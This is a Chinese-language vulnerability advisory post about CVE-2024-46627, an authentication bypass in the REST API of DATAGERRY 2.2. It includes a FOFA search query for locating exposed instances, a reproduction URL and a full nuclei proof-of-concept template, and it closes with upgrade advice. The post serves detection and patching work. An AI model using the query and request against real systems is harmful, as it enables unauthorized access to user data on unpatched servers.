CVE-2024-46627

原创 fgz AI与网安 2024-10-10 21:08

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漏洞名称

DATAGERRY REST API 身份验证绕过漏洞

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漏洞影响

DATAGERRY 2.2版本

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漏洞描述

DATAGERRY是DATAGerry开源的一个开源 CMDB 和资产管理工具。
DATAGERRY 2.2版本存在安全漏洞，该漏洞源于存在不正确权限改造，允许攻击者通过精心设计的Web请求绕过权限验证而执行任意命令。

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FOFA搜索语句

title="datagerry"

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漏洞复现

使用浏览器请求

http://x.x.x.x/rest/users/1/settings/

漏洞复现成功

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nuclei poc

poc文件来自nuclei官网，内容如下

id: CVE-2024-46627

info:
  name: DATAGERRY - REST API Auth Bypass
  author: gy741
  severity: critical
  description: |
    Incorrect access control in BECN DATAGERRY v2.2 allows attackers to execute arbitrary commands via crafted web requests.
  impact: |
    Allows unauthorized access to REST API
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46627
    - https://daly.wtf/cve-2024-46627-incorrect-access-control-in-becn-datagerry-v2-2-allows-attackers-to-execute-arbitrary-commands-via-crafted-web-requests/
    - https://datagerry.com/
    - https://github.com/DATAGerry/
    - https://github.com/d4lyw/CVE-2024-46627
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-46627
    cwe-id: CWE-284
    epss-score: 0.00045
    epss-percentile: 0.16328
  metadata:
    verified: true
    max-request: 1
    vendor: becon
    product: datagerry
    shodan-query: http.title:"datagerry"
  tags: cve,cve2024,becon,datagerry,unauth,auth-bypass

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/users/1/settings/'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"response_type":'
          - '"model":'
          - '"time":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"
# digest: 4a0a00473045022040420efc711ffd5727fa72189da9f4e2830a0a1bd247edefb9c4392206bdcb5f022100c7c5849fa2e4cdc7240166da0a6077f3c93557cbded880103e8580c784fdb3f1:922c64590222798bb761d5b6d8e72950

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修复建议

升级到最新版本。

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CVE-2024-46627

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